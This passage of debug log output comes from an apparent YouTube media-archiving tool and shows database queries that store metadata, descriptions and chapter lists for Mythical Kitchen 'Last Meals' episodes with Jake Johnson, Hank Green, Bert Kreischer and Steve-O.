https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jake Johnson Eats His Last Meal", "aea438b2-a9d7-488c-91d8-3ec3d958540d", "https://www.youtube.com/watch?v=ot35HRC-Zlk", false, "ot35HRC-Zlk", 2382, false, 10, "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", false, false, 1, [], 1, ~U[2024-01-16 11:00:43Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Josh is cooking Jake Johnson's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Jake's Last Meal Menu\n0:42 Manhandled By Boban Marjanovic\n1:53 Going Vegan\n3:19 1st Course - Vegan Chicago Diner Burger, Fries, & Healthy Coke\n6:20 Self Reliance Is Jake's Dream Project\n7:02 The Need For Human Connection\n7:33 Feeling Numb\n8:47 Art Doesn't Need To Play By The Rules\n9:48 A New Kind of Fun\n11:16 2nd Course - Fried Shrimp Po' Boy\n12:09 Working In Casinos & Addicted To Losing\n14:15 Just Famous Enough\n15:58 New Girl Guest Directors\n17:58 3rd Course - Omakase Sushi\n21:21 Jake's Podcast \"We're Here To Help\"\n22:13 Ostrich Farm Surprise\n28:13 4th Course - Vegan Hot Fudge Sundae\n28:58 Challenging His Dad's Sobriety\n31:03 Cherishing Parents Before Time Runs Out\n32:29 Your Kids Will Hate You For Something\n33:44 Sneaking Ashes Onto Wrigley Field\n36:19 Who's The One Person You'd Want To Share Your Last Meal With?\n36:23 Who's The Greatest Sitcom Character Of All Time?\n36:27 What Song Do You Want Played At Your Funeral?\n36:44 Who Do The Bears Take For Their Number 1 Pick?\n37:07 What's Your Biggest Fear?\n37:57 Which Stunt With Tom Cruise Did You Feel You Were Most Going To Die?\n39:03 Are You Happy?\n39:19 Jake's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Jake Johnson Eats His Last Meal", "https://www.youtube.com/watch?v=ot35HRC-Zlk", "ot35HRC-Zlk", 2382, false, "/downloads/Last Meals/2024-01-16 Jake Johnson Eats His Last Meal/Jake Johnson Eats His Last Meal [ot35HRC-Zlk].mp4", false, 1, ~U[2024-01-16 11:00:43Z]] 20:49:32.244 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.244 [debug] QUERY OK source="media_items" db=0.0ms idle=1.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-02-15 11:00:01Z], 1] 20:49:32.245 [debug] QUERY OK source="media_items" db=0.7ms idle=1.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Hank Green eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Hank's Last Meal Menu\n1:37 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n3:11 1st Course - Sweet Red Bean Buns & Avocado Milk Tea Boba\n5:12 How To Foster Curiosity\n6:18 The Best Part Of Having Cancer\n7:26 Staying Positive Through Diagnosis\n9:44 2nd Course - Catfish Po' Boy & Sazerac\n11:57 Life, Death, & Elf Spaghetti\n15:01 Dave Matthews Hater\n17:14 \"Science Is Happening In Me\"\n19:12 3rd Course - Fancy Corndog & Lotsa Layers Lasagna\n22:19 Predictions for 2050\n24:13 We Shouldn't Care About Everything\n27:10 4th Course - Milkshake, Cookies, Tea, & Salmon Candy\n30:25 Knees Are Wild\n31:13 Promoting Chemotherapy\n31:48 What Happens When You Die?\n33:26 Who's The One Person You'd Want To Share Your Last Meal With?\n34:01 What Song Do You Want Played At Your Funeral?\n34:07 What's Your Favorite Dave Matthews Song?\n34:38 What's Your Biggest Fear?\n34:52 Is Butt Legs?\n35:51 What's Your Greatest Regret?\n36:17 Are You Happy?\n36:42 Hank's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto" <> ..., "Hank Green Eats His Last Meal", "9352d957-6ec5-4403-bd5b-89fda56e2c88", "https://www.youtube.com/watch?v=1PdM23qlYxU", false, "1PdM23qlYxU", 2281, false, 11, "/downloads/Last Meals/2024-02-15 Hank Green Eats His Last Meal/Hank Green Eats His Last Meal [1PdM23qlYxU].mp4", false, false, 1, [], 1, ~U[2024-02-15 11:00:01Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Hank Green eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Hank's Last Meal Menu\n1:37 Have You Thought About Your Last Meal Before?\n1:48 How Often Do You Think About Death?\n3:11 1st Course - Sweet Red Bean Buns & Avocado Milk Tea Boba\n5:12 How To Foster Curiosity\n6:18 The Best Part Of Having Cancer\n7:26 Staying Positive Through Diagnosis\n9:44 2nd Course - Catfish Po' Boy & Sazerac\n11:57 Life, Death, & Elf Spaghetti\n15:01 Dave Matthews Hater\n17:14 \"Science Is Happening In Me\"\n19:12 3rd Course - Fancy Corndog & Lotsa Layers Lasagna\n22:19 Predictions for 2050\n24:13 We Shouldn't Care About Everything\n27:10 4th Course - Milkshake, Cookies, Tea, & Salmon Candy\n30:25 Knees Are Wild\n31:13 Promoting Chemotherapy\n31:48 What Happens When You Die?\n33:26 Who's The One Person You'd Want To Share Your Last Meal With?\n34:01 What Song Do You Want Played At Your Funeral?\n34:07 What's Your Favorite Dave Matthews Song?\n34:38 What's Your Biggest Fear?\n34:52 Is Butt Legs?\n35:51 What's Your Greatest Regret?\n36:17 Are You Happy?\n36:42 Hank's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/con (truncated) 20:49:32.245 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.245 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-14 10:00:42Z], 1] 20:49:32.246 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Bert Kreischer eats his last meal. \n\nCheck out more Bert at http://www.bertbertbert.com and see him at the https://www.netflixisajokefest.com/artists/bert-kreischer this May!\n\n0:00 Bert's Last Meal Menu\n2:04 Thinking About Death\n2:42 1st Course - Breakfast Sandwich, Bone Broth, & Scrapple\n5:18 Cooking For Roy Choi\n7:23 Kicking Creed Out Of His College Band\n10:01 Finding Joy In Sobriety & Drinking\n12:02 2nd Course - Picadillo, Publix Sub, & Cubano Sandwich\n14:49 Unhinged First Date At Buffalo Wild Wings\n18:02 Bert's Advice For College Students\n20:56 Open Invite To Ryan Reynolds\n22:13 Finding Bits For Stand Up\n24:13 3rd Course - SOS & Carbonara\n25:23 Facetiming Mom\n27:41 Bro Culture\n29:39 4th Course - Ribeye & Country Fried Steak\n32:21 The Afterlife Is A Surprise Birthday Party\n35:11 Legacy & Losing Friends\n38:57 Gameshow Pitch\n39:29 5th Course - Keto Key Lime Pie\n40:15 Lightning Round\n45:05 Bert's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_" <> ..., "Bert Kreischer Eats His Last Meal", "48508d8e-3c78-470e-b092-0fc9eaaa1d0d", "https://www.youtube.com/watch?v=palAzhniUBg", false, "palAzhniUBg", 2759, false, 12, "/downloads/Last Meals/2024-03-14 Bert Kreischer Eats His Last Meal/Bert Kreischer Eats His Last Meal [palAzhniUBg].mp4", false, false, 1, [], 1, ~U[2024-03-14 10:00:42Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Bert Kreischer eats his last meal. \n\nCheck out more Bert at http://www.bertbertbert.com and see him at the https://www.netflixisajokefest.com/artists/bert-kreischer this May!\n\n0:00 Bert's Last Meal Menu\n2:04 Thinking About Death\n2:42 1st Course - Breakfast Sandwich, Bone Broth, & Scrapple\n5:18 Cooking For Roy Choi\n7:23 Kicking Creed Out Of His College Band\n10:01 Finding Joy In Sobriety & Drinking\n12:02 2nd Course - Picadillo, Publix Sub, & Cubano Sandwich\n14:49 Unhinged First Date At Buffalo Wild Wings\n18:02 Bert's Advice For College Students\n20:56 Open Invite To Ryan Reynolds\n22:13 Finding Bits For Stand Up\n24:13 3rd Course - SOS & Carbonara\n25:23 Facetiming Mom\n27:41 Bro Culture\n29:39 4th Course - Ribeye & Country Fried Steak\n32:21 The Afterlife Is A Surprise Birthday Party\n35:11 Legacy & Losing Friends\n38:57 Gameshow Pitch\n39:29 5th Course - Keto Key Lime Pie\n40:15 Lightning Round\n45:05 Bert's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical (truncated) 20:49:32.246 [debug] QUERY OK source="sources" db=0.0ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.247 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-28 11:00:27Z], 1] 20:49:32.248 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Steve-O's last meal.\n\n0:00 Steve-O's Last Meal Menu\n1:01 Colonoscopy Prep\n2:04 Have You Thought About Your Last Meal Before?\n3:08 Existence Is A Cruel Prank\n4:05 1st Course - Monster Munch & Vegan Spinach Dip\n4:45 Steve-O Takes Off His Pants\n6:29 True Love & Steve-O's New Comedy Special\n8:44 Steve-O Calls Himself A Distraction Therapist\n9:59 Do You Believe In An Afterlife?\n12:00 Embarrassed By A Rich Dad\n13:31 2nd Course - Lobster, Mashed Potatoes, & Liquid Death\n15:10 Addictive Tendencies \n16:22 Johnny Knoxville's Intervention With Steve-O\n18:20 Commitment To Sobriety\n19:32 Genuine Joy\n20:06 3rd Course, Grilled Cheese, Tempura Roll, & Hot Sauce For Your Butthole\n22:33 Therapy & Sex Addition\n23:40 Do You Think You're Underestimated By People?\n24:39 4th Course - Pecan Pie With Melted Reese's & Hot Coffee\n25:50 Aging Is A Party Foul\n27:02 When A Parent Suffers\n30:24 Who's The One Person You'd Want To Share Your Last Meal With?\n30:56 Which Jackass Co-Star Would You Kick In The Nuts?\n31:13 What's Your Greatest Regret?\n31:47 Are You Happy?\n33:22 Steve-O's Last Words\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-" <> 